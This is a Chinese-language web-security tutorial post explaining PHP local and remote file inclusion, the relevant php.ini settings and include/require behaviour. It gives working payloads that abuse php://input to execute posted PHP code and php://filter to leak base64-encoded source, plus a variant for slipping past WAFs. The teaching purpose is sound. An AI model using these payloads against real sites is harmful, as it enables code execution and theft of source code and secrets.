美文网首页
风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协

风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协

作者: 风炫安全 | 来源:发表于2021-01-14 11:47 被阅读0次

    风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击

    文件包含漏洞

    参考文章:https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/

    分类

    LFI(Local File Inclusion)

    本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。简单的测试用例如前所示。

    RFI(Remote File Inclusion)

    远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
    但RFI的利用条件较为苛刻,需要php.ini中进行配置

    两个配置选项均需要为On,才能远程包含文件成功。

    <img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20171009/4.png?raw=true" style="zoom:80%;" />

    在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

    相关函数

    php中引发文件包含漏洞的通常是以下四个函数:

    1. include()
    2. include_once()
    3. require()
    4. require_once()
    

    reuqire() 如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句。

    <img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20171009/1.png?raw=true" alt="img" style="zoom:80%;" />

    include() 如果出错的话,只会提出警告,会继续执行后续语句。

    <img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20171009/2.png?raw=true" alt="img" style="zoom:80%;" />

    require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。

    php伪协议

    php://input

    利用条件:

    1. allow_url_include = On。
    2. 对allow_url_fopen不做要求。

    姿势:

    index.php?file=php://input
    
    POST:
    <? phpinfo();?>
    

    [图片上传失败...(image-b6eb61-1610596037328)]

    php://filter

    利用条件:无甚

    姿势:

    index.php?file=php://filter/read=convert.base64-encode/resource=index.php
    

    通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。
    [图片上传失败...(image-e1505b-1610596037328)]

    >>> import base64
    >>> base64.b64decode("PD9waHAgDQoJJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KCWluY2x1ZGUgJGZpbGU7DQo/Pg==")
    b"<?php \r\n\t$file = $_GET['file'];\r\n\tinclude $file;\r\n?>"
    

    其他姿势:

    index.php?file=php://filter/convert.base64-encode/resource=index.php
    

    效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。

    参考:
    http://blog.evalshell.com/2020/12/20/%e9%a3%8e%e7%82%ab%e5%ae%89%e5%85%a8web%e5%ae%89%e5%85%a8%e5%ad%a6%e4%b9%a0%e7%ac%ac%e4%b8%89%e5%8d%81%e4%b8%89%e8%8a%82%e8%af%be-%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e%e5%9f%ba/

    相关文章

      网友评论

          本文标题:风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协

          本文链接:https://www.haomeiwen.com/subject/ppowoktx.html